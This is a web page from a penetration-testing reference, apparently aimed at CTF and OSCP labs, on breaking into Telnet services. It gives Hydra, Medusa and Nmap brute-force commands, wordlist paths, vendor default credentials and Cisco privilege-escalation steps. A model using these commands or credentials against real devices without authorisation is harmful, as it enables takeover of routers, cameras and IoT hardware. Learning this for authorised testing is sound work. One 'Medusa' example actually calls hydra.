# Telnet Default and Weak Credential Exploitation

- **URL:** https://hackindex.io/services/telnet/exploitation/telnet-default-and-weak-credential-exploitation
- **Path:** Telnet > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/telnet/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-03-11

## Telnet Default Credentials Exploit

Telnet survives almost exclusively on network devices: routers, switches, firewalls, printers, IP cameras, and IoT hardware. Most of these ship with default credentials and many are never changed. Unlike SSH, Telnet offers no encryption and no public-key authentication, so the only barrier is the username and password.

Successful authentication over Telnet on a network device typically lands you in a privileged management shell. On Cisco IOS that is a fully interactive CLI. On embedded Linux devices it is often a root shell. The impact is immediate and usually high.

## Brute Forcing with Hydra

Hydra handles Telnet reliably and is the standard choice:

```bash
hydra -l $USER -P /usr/share/wordlists/rockyou.txt telnet://$TARGET_IP
# [23][telnet] host: 10.10.10.5   login: admin   password: admin
#
```

For a credential list instead of a password list:

```bash
hydra -C /usr/share/seclists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt telnet://$TARGET_IP
# [23][telnet] host: 10.10.10.5   login: admin   password: admin
#
```

Hydra's Telnet module is slower than its HTTP or SSH modules because it waits for the banner and prompt. If the target is slow to respond, increase the timeout:

```bash
hydra -l $USER -P /usr/share/wordlists/rockyou.txt -t 4 -w 30 telnet://$TARGET_IP
# [23][telnet] host: 10.10.10.5   login: admin   password: admin
#
```

`-t 4` limits threads to avoid overwhelming the device. Many embedded Telnet daemons crash or lock out under high concurrency. Start conservative.

## Brute Forcing with Medusa

Medusa handles Telnet well and is worth using when Hydra gives inconsistent results against certain devices:

```bash
medusa -h $TARGET_IP -u $USER -P /usr/share/wordlists/rockyou.txt -M telnet
```

With a combined credential list:

```bash
hydra -C /usr/share/seclists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt $TARGET_IP telnet
```

## Default Credential Lists Worth Trying First

Before running a full wordlist attack, try known defaults. Most CTF and OSCP lab Telnet targets use one of these. SecLists has a dedicated Telnet list:

```
/usr/share/seclists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt
```

Common defaults by device type:

- Cisco IOS: `cisco`/`cisco`, `admin`/`admin`, blank username with `cisco` password
- Linksys/Netgear routers: `admin`/`admin`, `admin`/`password`, `admin`/blank
- Huawei devices: `admin`/`admin`, `root`/`admin`, `user`/`user`
- Allied Telesis switches: `manager`/`friend`
- D-Link: `admin`/blank
- Embedded Linux / IoT: `root`/blank, `root`/`root`, `admin`/`1234`

Try these manually before running Hydra. A single successful default login is faster than any wordlist.

## Manual Login and Prompt Handling

Connect with the standard Telnet client:

```bash
telnet $TARGET_IP $PORT
```

Or with nc if Telnet is not installed:

```bash
nc $TARGET_IP $PORT
```

Some devices present a `Username:` and `Password:` prompt. Others drop straight to a password prompt with no username field: common on older Cisco devices using a simple enable password on the VTY line. If there is no username prompt, try the password directly.

On Cisco IOS after login, check your privilege level:

```bash
show privilege
```

If you are at level 1, attempt to enter privileged exec mode:

```bash
enable
```

Enter the enable password when prompted. Common enable passwords: `enable`, `cisco`, `secret`, blank. If you land directly at the `#` prompt you are already at privilege 15.

## Nmap Scripting for Default Credential Checks

Nmap's `telnet-brute` and `telnet-ntlm-info` NSE scripts cover basic checks:

```bash
nmap -p $PORT --script telnet-brute --script-args userdb=/usr/share/seclists/Usernames/top-usernames-shortlist.txt,passdb=/usr/share/seclists/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt $TARGET_IP
```

This is slower than Hydra but useful if you want to keep everything within a single Nmap scan workflow.

## References

- [SecLists](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt) - Telnet Default Credential List Combined username:password list for Telnet default credential checks.
- [https://github.com/vanhauser-thc/thc-hydra](https://github.com/vanhauser-thc/thc-hydra) - THC Hydra Maintainer repository with Telnet module documentation and usage examples.